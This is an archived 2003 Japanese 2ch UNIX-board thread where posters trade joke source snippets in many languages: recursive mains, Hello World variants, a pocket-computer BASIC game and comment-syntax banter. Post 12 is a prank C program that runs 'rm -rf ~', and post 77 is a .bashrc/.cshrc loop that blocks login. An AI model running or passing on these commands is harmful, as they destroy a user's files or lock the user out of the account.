1read 100read
2012年3月UNIX154: ひたすら何かのソースコードを公開するスレ (150) TOP カテ一覧 スレ一覧 2ch元 削除依頼
Windows禁止の職場に勤める人の集い (112)
簡単!メモリクリーニング (663)
ワークステーションが欲しい。 (417)
FreeBSD current 思えば遠くへ来たもんだ (313)
神よ Sambaで・・・ (746)
ニャース・ΜL キテガイリスト 28人目 (682)

ひたすら何かのソースコードを公開するスレ


1 :03/07/12
なんか、うpしてくれ

2 :03/07/12
main()

3 :03/07/12
{

4 :03/07/12
return main();
}
5 :あぼーん:あぼーん
あぼーん

6 :03/07/12
};

7 :03/07/12
void

8 :03/07/12
seq void main () {
par {
new main();
new main();
}
}

9 :03/07/12
PROGRAM UNKO
WRITE(*,*)''
STOP
END

10 :03/07/12
rtnval(int c)
{
if (c == 1) {
return 1;
} else {
return 0;
}
}

11 :03/07/12
/*1は死んでね*/

12 :03/07/12
#include <stdlib.h>
void main(void) { system( "rm -rf ~"); }

13 :03/07/12
<html><head><meta http-equiv="Content-Type" content="text/html; charset=Shift_JIS"><title>ひたすら何かのソースコードを公開するスレ</title><script type="text/javascript" defer><!--
function l(e){var N=g("NAME"),M=g("MAIL"),i;with(document) for(i=0;i<forms.length;i++)if(forms[i].FROM&&forms[i].mail)with(forms[i])
{FROM.value=N;mail.value=M;}}onload=l;function g(key,tmp1,tmp2,xx1,xx2,xx3,len){tmp1=" "+document.cookie+";";xx1=xx2=0;len=tmp1.length;
while(xx1<len){xx2=tmp1.indexOf(";",xx1);tmp2=tmp1.substring(xx1+1,xx2);
xx3=tmp2.indexOf("=");
if(tmp2.substring(0,xx3)==key)return unescape(tmp2.substring(xx3+1,xx2-xx1-1));xx1=xx2+1;}return "";}
//--></script></head><body bgcolor=#efefef text=black link=blue alink=red vlink=#660099><a href="../../../../unix/">
■掲示板に戻る■</a> <a href=-100>1-</a> <a href=l50>最新50</a><p><font size=+1 color=red>ひたすら何かのソースコードを公開するスレ
</font><dl><dt>1 :<font color=green><b>
名無しさん@お腹いっぱい。</b></font> :03/07/12 17:41<dd>なんか、うpしてくれ<br><br><dt>2 :<

14 :03/07/12
>>13
4点。

15 :03/07/12
10 CLS :CLEAR
20 DIM G$(13)*1,M(16,5)
30 X=1:Y=1:P=1:T=40:W=20:E=15:M(0,0)=7:M(1,0)=4
40 FOR J=0 TO 13
50 READ A:G$(J)= CHR$ A
60 NEXT
70 DATA 32,224,124,156,157,158,159,45,150,152,153,154,155,135
80 LINE (102,-1)-(106,48),B
90 PRINT "-";G$(4)
100 LOCATE 18,1:PRINT "Next"
110 LOCATE 18,3:PRINT "Score"
120 FOR J=0 TO E
130 L= RND 17-1:M= RND 6-1
140 IF L>1 OR M>1 LOCATE L,M:PRINT G$(13):M(L,M)=13
150 NEXT

16 :03/07/12
160 *A
170 M=0:N= RND 6
180 LOCATE 19,2:PRINT "[";G$(N);"]"
190 *B
200 IF K$<>"" FOR J=0 TO W*8:NEXT
210 LOCATE X,Y:PRINT G$(M(X,Y))
220 K$= INKEY$
230 SWITCH K$
240 CASE "4":IF X>0 LET X=X-1
250 CASE "6":IF X<16 LET X=X+1
260 CASE "8":IF Y>0 LET Y=Y-1
270 CASE "2":IF Y<5 LET Y=Y+1
280 CASE " ":IF M(X,Y)<7 LOCATE X,Y:PRINT G$(N):BEEP 1,200,20:M(X,Y)=N:M=1
290 ENDSWITCH
300 FOR J=0 TO W:NEXT
310 LOCATE X,Y:PRINT "ロ"
320 C=(C+1) MOD T
330 IF C=0 GOSUB *C
340 IF M=1 GOTO *A ELSE *B

17 :03/07/12
350 *C
360 BEEP 1,71,9
370 IF P<0 OR P>16 OR Q<0 OR Q>5 GOTO *D
380 SWITCH M(P,Q)
390 CASE 1:IF H=0 LET U=1:V=0 ELSE IF H=1 LET U=-1:V=0 ELSE F=1
400 CASE 2:IF H=2 LET U=0:V=-1 ELSE IF H=3 LET U=0:V=1 ELSE F=1
410 CASE 3:IF H=1 LET U=0:V=1:H=3 ELSE IF H=2 LET U=1:V=0:H=0 ELSE F=1
420 CASE 4:IF H=0 LET U=0:V=1:H=3 ELSE IF H=2 LET U=-1:V=0:H=1 ELSE F=1
430 CASE 5:IF H=1 LET U=0:V=-1:H=2 ELSE IF H=3 LET U=1:V=0:H=0 ELSE F=1
440 CASE 6:IF H=0 LET U=0:V=-1:H=2 ELSE IF H=3 LET U=-1:V=0:H=1 ELSE F=1
450 DEFAULT :F=1
460 ENDSWITCH
470 IF F=1 GOTO *D
480 M(P,Q)=M(P,Q)+6
490 LOCATE P,Q:PRINT G$(M(P,Q))
500 P=P+U:Q=Q+V:S=S+1
510 LOCATE 20,4:PRINT STR$ S
520 RETURN
530 *D
540 LOCATE 18,1:PRINT "-GAME-"
550 LOCATE 18,2:PRINT "-OVER-"
18 :あぼーん:あぼーん
あぼーん

19 :03/07/12
program HaxaHaxa;
var I : Integer;
begin
  Randomize;
  repeat
    I := Random(18) + 1;
    Writeln('>>', I, 'さん(;´Д`)ハァハァ');
  until False;
end.

20 :03/07/12
#include <stdio.h>
int main()
{
printf("なんか、うpしてくれ\n");
main();
return 0;
}

21 :03/07/12
puts "こんばんは"

22 :03/07/12
/*

23 :03/07/12
#cat HaxaHaxa.c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
void main(){
srand((unsigned int)clock());
for(;;)
printf(">>%d さん(;´Д`)ハァハァ\n",(int)(1+rand()*21./RAND_MAX));
}
#gcc -o HaxaHaxa HaxaHaxa.c
#chmod +=x HaxaHaxa
#HaxaHaxa

24 :03/07/12
/* Copyright (c) 1984, 1986, 1987, 1988, 1989 AT&T */
/* All Rights Reserved */
/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF AT&T */
/* The copyright notice above does not evidence any */
/* actual or intended publication of such source code. */

25 :03/07/12
main(){return system("start http://pc.2ch.net/unix/index.html#3");}

26 :03/07/13
/*
 * 重複だろ。
 *
 * みんなでCのコードを1行ずつ書いていくスレ
 * http://pc.2ch.net/test/read.cgi/unix/1005032504/
 *
 */

27 :03/07/13
//いやいや EXEC=C言語でなくても
//SYS001 DD *
いいんだろう。
/*

28 :03/07/13
カケ "オマエモナー"

29 :03/07/13
% んじゃ
% こんなんでも
% いいわけ?

30 :03/07/13
-- いいんでないかい?

31 :03/07/13
(* ここはこれ以降コメントで会話するスレとなりますた。 *)

32 :03/07/13
# >>30のコメント形式は
# なに?
# はじめてみた。

33 :03/07/13
-- vhdl

34 :03/07/13
; >>32
; psじゃないのか?

35 :03/07/13
( ps は % だろ? )

36 :03/07/13
-- lingo も
-- この形式でつ

37 :03/07/13
<!-- http://infoserv.ics.es.osaka-u.ac.jp/public/netnews-archive/FJ.ARCHIVES/fj.archives.documents/comments-in-computer-languages -->

38 :03/07/13
# うっかりコメントからはみ出したら
# どうなりますか?

39 :03/07/13
' >>37
' あは、既にあるのか。

40 :03/07/13
" (´-`).。oO(うっかりって...) "

41 :03/07/13
$$ そりゃコメントからはみ出れば
$$ コンパイルエラーになる罠

42 :03/07/13
#いんcるで <stぢお.h>
いんt まいn()
{
pりんtf(">>1よ")
}

43 :03/07/13
>>42
なんか、カンドーしたっす。

44 :03/07/13
{ >>45 どうよ? }

45 :03/07/13
begin
  なんともねーよ
end

46 :03/07/13
static void
create_init(const void *udata __unused)
{
int error;
int s;
s = splhigh();
error = fork1(&proc0, RFFDG | RFPROC, &initproc);
if (error)
panic("cannot fork init: %d\n", error);
initproc->p_flag |= P_INMEM | P_SYSTEM;
cpu_set_fork_handler(initproc, start_init, NULL);
remrunqueue(initproc);
splx(s);
}

47 :03/07/13
ここまでだれもhello world 書かないッつーのも不自然だな。
project: (('Hello'))
class 'Hello' specializing 'Console':
[
goal:-
writeln("Hello World!").
]

48 :03/07/13
/*(・∀・)
/*

49 :03/07/13
>>47
それは何?
ついでだ、漏れも
Pervasives.print_string "Hello World!\n";;

50 :03/07/13
いろいろな言語でHello world スレは、どこかにあったような...

51 :03/07/13
Linux板だよ。
 いろんな言語で「Hello World」だ。ゴラァ
 http://pc.2ch.net/test/read.cgi/linux/986981055/

52 :03/07/13
向こうのスレのこれ笑った
http://pc.2ch.net/test/read.cgi/linux/986981055/22

53 :03/07/13
# Hello World
#
# Hell Word ?

54 :03/07/13
メインとは
    「こんにちは。」を 表示して 改行すること。

55 :03/07/13
: プログラムは日本語なのにそれ自体の名前が何故か英語っぽいMINDか....

56 :03/07/13
C SOUIEBA BETSUNI SENTOU GA C DE NAKUTEMO IINDAYONA.
C MOU 15 NEN GURAI TUKATTE NAIKEDO YUBI HA TYANTO
C OBOETEIRU YOUDA.

57 :03/07/13
<html> </html>

58 :03/07/14
rem そういえばこんなのもあったなぁ

59 :03/07/14
スレタイが「ソース "コード"」なので、
「オリバーソース」だの「おたふくソース」だのといった
お決まりのギャグが使えない罠。

60 :03/07/14
,[>+<-]-[>[>>+>+<<<-]>>>[<<<+>>>-]<[-[-[-[-[-[-[-[-[-[>+<[-]]]]]]]]]]]>
[-<<+<----------[>>+>+<<<-]>>>[<<<+>>>-]<[-[-[-[-[-[-[-[-[-[>+<[-]]]]]]]]]]]>]<<<]

61 :03/07/14
>>59
オリバーソースだのおたふくソースだの言おうとしたのか?(藁)

62 :03/07/14
伝説の「詰めC言語」再びかと思ったよ。

63 :03/07/14
BASIC 1行プログラムのほうが好きだな

64 :03/07/14
#!/bin/dqn
WTO "hello?"
END

65 :03/07/14
main;
()!*.*
}

66 :03/07/14
>>61
とっておきのギャグなんだが、
どうしてもと言うなら譲ってあげてもいいよ
67 :あぼーん:あぼーん
あぼーん

68 :03/07/15
<tr>
age<br><br>
</tr>

69 :03/07/15
>>64
日○情報のQ言語?
つーか日○関係者だろ!(w

70 :03/07/15
世界最小のソース
awk '1' filename

71 :03/07/15
sed '' filename

72 :03/07/15
>>71
ほんとや(o●o);

73 :03/07/15
"こう見えても、Smalltalkのコメントなわけだが。".

74 :03/07/15

"ごめ。あげちった。".

75 :03/07/15
>>73
40で既出

76 :03/07/15
localhost [~]$ cat /usr/bin/uma.sh
#!/bin/sh
/usr/bin/uma.sh
localhost [~]$

77 :03/07/15
(~/.bashrcの末尾に追加)
csh

(~/.cshrcの末尾に追加)
bash

さぁ!Let's Logout!!

78 :03/07/15
>>77
よく元性善説鯖にお見えになる人?

79 :03/07/15
10 REM ****************************************
20 REM * 住民基本台帳ネットワークシステム *
30 REM * *
40 REM * Version 1.0.0 *
50 REM ****************************************
60 GOTO 10

80 :03/07/16
#dqn

81 :03/07/16
class TabDialog : public QTabDialog
{
Q_OBJECT
public:
TabDialog();
TabDialog(loginSlot *data);
void setLoginData(loginSlot *data);
public slots:
void cancelClicked();
protected:
QString filename;
QFileInfo fileinfo;
void setupTab1();
void setupTab2();
void setupTab3();
private:
loginSlot loginData;
};

82 :03/07/17
                      {
               ;0 uJnfaJ
      ;(,,i plJoM ollaH,,)tfu!Jd
                      }
                 ()u!ew fu!
          ,,ч'o!pfs,, apnl⊃u!#

83 :03/07/17
文字化けかと思った

84 :03/07/17
文字化けじゃなかったのか!!!!!!!!!

85 :03/07/18
#include <stdio.h>
main()
{
for(;;){
puts(">>1 カエレ");
}
}

86 :03/07/18
>>85はgettext位使えるようになれ。

87 :03/07/18
煽りも国際化を考慮しなきゃならないとは(w

88 :03/07/18
gettextを使えるようになってもpoファイルは日本語のくらいしか作れない罠

89 :03/07/18
このくらいはほしいよね。
ja
ja_2CH
ja_KANSAI
ja_TOUHOKU

90 :03/07/18
tcshのゴミportsじゃないんだから(苦笑

91 :03/07/18
sub 2ch
print "糞スレたてた>>1さん";
92 :あぼーん:あぼーん
あぼーん

93 :03/07/18
>>15-17
もしかして、ポケコンPC-E500用のソース?

94 :03/07/18
E500にSWITCH文はなかったと思われ
(後継機種にはあったような気はするが)

95 :03/07/18
ってことはPC-E650かな?

96 :03/07/19
ひたすら何かのソースコード

97 :03/07/19
ひたすら「伺か」のソースコード???

98 :03/07/19
2ch DQN房();

99 :03/07/20
女の子がデスクトップに常駐するやつだっけ

100read 1read
1read 100read
TOP カテ一覧 スレ一覧 2ch元 削除依頼
karaage( ゚Д゚)ウマウマ (672)
【火の鳥】Firebird【不死鳥】 (280)
emacs-w3m (Part 2) (627)
Jaris (697)
第3回2ch全板人気トーナメント@UNIX板 (768)
Putty その3 【パティ】 (136)
--log9.info------------------
◇◇◇nixon◇◇◇ 2本目 (364)
手首の細い男のための腕時計 8cm (990)
オメガ スピードマスター デイト part6 (720)
【CITIZEN】サテライトウエーブ【人工衛星】 (669)
Jaeger-LeCoultre ジャガールクルト2010 パート9. (657)
【SEIKO】 セイコー 海外モデル2 【Premier】 (923)
悪質時計店の実態 (425)
【9T82】キネティック クロノグラフ003【7L22】 (540)
Sinnを語れ【計測機器】 32 (793)
GSXを語ろう (175)
【陸海空】ケンテックス☆Kentex【自衛隊】 (116)
セイコー逆輸入ダイバーズ 3 (902)
【MORPHO】CYPRIS-キプリス【財布】 (674)
福原愛ちゃんとヤリたい (147)
(誘導)イソザキ時計宝石店 Part41 (443)
英国革小物総合 part3 (505)
--log55.com------------------
【2006年6月1日】動物愛護法【改正?改悪?】
うちのうさぎが可愛くて生きるのがつらいマジで
■三重県津市で救いを求めるべき神社が鶏を抹殺!
何でニワトリは白いの?
カバを飼いたいのですが・・・
人間になつきやすいペットは何ですか?
関西の爬虫類店 - 4店目
【爬虫類】やもり日記初心者スレ★1